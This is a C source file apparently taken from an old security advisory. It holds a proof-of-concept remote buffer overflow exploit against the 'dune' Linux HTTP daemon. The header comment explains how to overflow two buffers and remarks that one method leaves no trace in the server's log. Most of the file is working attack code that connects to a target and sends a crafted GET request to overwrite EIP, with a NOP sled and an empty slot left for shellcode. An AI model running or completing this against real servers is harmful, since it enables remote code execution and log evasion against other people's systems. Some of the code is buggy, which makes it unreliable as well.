/* (linux)dune[v0.6.7-] remote buffer overflow concept, by v9[v9@fakehalo.org].
   advisory with broken proof of concept code designed and coded for linux.

   the dune http daemon for linux has multiple buffer overflow conditions:

    1. sending a large string on connect.
       a. send [572 characters][4 pointer characters][1 character] to overwrite
          esi(and eax in the 500's somewheres :)).
       b. a very large buffer will overflow in strcat(). (1 byte)
    2. send "GET /~[small buffer][return][return]".  this will overflow in eip
       as a result.

   this "proof of concept" version is for the 2nd overflow listed.  this will
   simply overwrite the eip pointer, you will have to find another place to put
   the asm/shellcode if you want to exploit it(the username buffer is simply
   too small to put anything useful to run).

   note: * the "shellcode" should be placed in "char exec[]=" seen below, and
           the output(with nops) will be put in the character array "code".
         * offsets for this may be sensitive.
         * dune won't crash if the program has a segmentation fault, so you can
           play around as much as needed.
         * this was tested on dune[v0.6.7](with the fork()'s taken out of the
           source for testing)
         * invalid pointers(with a larger buffer/+128) may make the remote hosts
           cpu usage get very high. (very annoying when testing *g*) 
         * this method won't show up in the log(dune.errors). (method#1 will)
         * remember, this is broken, won't run any "shellcode" by default.
*/

#define DEFAULT_PORT 80			// default port.
#define DEFAULT_OFFSET 0x12345678	// base offset. (offset parm adds on)
#define DEFAULT_ALIGN 0			// eip overwrite alignment.
#define TIMEOUT 8			// wait before connection.
#include <signal.h>
#include <netinet/in.h>
#include <netdb.h>
static char exec[]="fill me!"; // only made this space for 128bytes(with nops).
void timeout(){printf("connection timeout(%d).\n",TIMEOUT);exit(-1);}
int main(int argc,char **argv){
 char buf[128],target[256],bofeip[64],code[128];
 int i,sock,port,align;
 long ret;
 struct hostent *t;
 struct sockaddr_in s;
 if(argc<2){printf("*** syntax: %s <target> [port] [offset] [alignment].\n",argv[0]);exit(-1);}
 else{strncpy(target,argv[1],256);}
 if(argc>2){port=atoi(argv[2]);}else{port=DEFAULT_PORT;}
 if(argc>3){ret=(atoi(argv[3])+DEFAULT_OFFSET);}else{ret=DEFAULT_OFFSET;}
 if(argc>4){
  if(atoi(argv[4])<0||atoi(argv[4])>3){printf("invalid alignment, using default. (0-3)\n");align=DEFAULT_ALIGN;}
  else{align=atoi(argv[4]);}
 }
 else{align=DEFAULT_ALIGN;}
 bofeip[0]=0x2F; // a slash, make it a valid url for dune.
 bofeip[1]=0x7E; // username("multiuser") identification character.
 for(i=2;i<(2+align);i++){*(bofeip+i)=0x01;} // lame alignment fill method.
 for(i=(2+align);i<(58+align);i+=4){*(long *)&bofeip[i]=ret;}
 for(i=0;i<(127-strlen(exec));i++){*(code+i)=0x90;}
 memcpy(code+i,exec,strlen(exec));
 if(s.sin_addr.s_addr=inet_addr(target)){
  if(!(t=gethostbyname(target))){printf("error: couldn't resolve. (%s)\n",target);exit(-1);}
  memcpy((char*)&s.sin_addr,(char*)t->h_addr,sizeof(s.sin_addr));
 }
 s.sin_family=AF_INET;
 s.sin_port=htons(port);
 sock=socket(AF_INET,SOCK_STREAM,0);
 printf("(linux)dune[httpd] remote buffer overflow. (address: 0x%lx, alignment: %d)\n",ret,align);
 printf("status: testing target. (%s:%d)\n",target,port);
 signal(SIGALRM,timeout);
 alarm(TIMEOUT);
 if(connect(sock,(struct sockaddr_in*)&s,sizeof(s))){printf("error: connection failed.\n");exit(-1);}
 alarm(0);
 printf("status: connected, sending buffer.\n");
 snprintf(buf,strlen(buf),"GET %s\n\n",bofeip);
 write(sock,buf,strlen(buf));
 sleep(1); // saftey first.
 close(sock);
 printf("status: eip overwrite test complete.\n");
 exit(0);
}
